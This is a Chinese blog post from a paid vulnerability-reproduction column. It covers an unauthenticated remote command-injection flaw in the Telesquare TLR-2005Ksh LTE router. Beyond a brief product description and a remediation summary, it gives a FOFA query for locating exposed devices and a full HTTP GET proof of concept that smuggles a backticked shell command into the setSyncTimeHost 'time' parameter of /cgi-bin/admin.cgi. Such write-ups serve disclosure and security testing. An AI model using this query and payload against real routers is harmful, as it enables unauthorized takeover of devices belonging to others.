Telesquare TLR-2005Ksh 路由器 RCE漏洞复现

最新推荐文章于 2024-10-16 18:37:25 发布

0xSecl

最新推荐文章于 2024-10-16 18:37:25 发布

阅读量1.2k

点赞数 8

分类专栏：漏洞复现文章标签：网络 web安全安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/134636447

版权

漏洞复现专栏收录该内容

该专栏为热销专栏榜第88名

915 篇文章 1504 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了韩国Telesquare公司的TLR-2005Ksh路由器存在的安全漏洞，该漏洞允许未授权攻击者通过setSyncTimeHost命令执行任意代码，获取服务器权限。复现环境为FOFA标记的TELESQUARE-TLR-2005KSH设备。修复方案包括限制接口访问权限和更新到安全版本。

摘要由CSDN通过智能技术生成

0x01 产品简介

Telesquare Tlr-2005Ksh是韩国Telesquare公司的一款 Sk 电讯 Lte 路由器。

0x02 漏洞概述

Telesquare TLR-2005Ksh存在安全漏洞，未经授权的攻击者可通过setSyncTimeHost执行任意命令获取服务器权限。

0x03 复现环境

FOFA：app="TELESQUARE-TLR-2005KSH"

0x04 漏洞复现

PoC

GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`id>1.txt` HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close

了解本专栏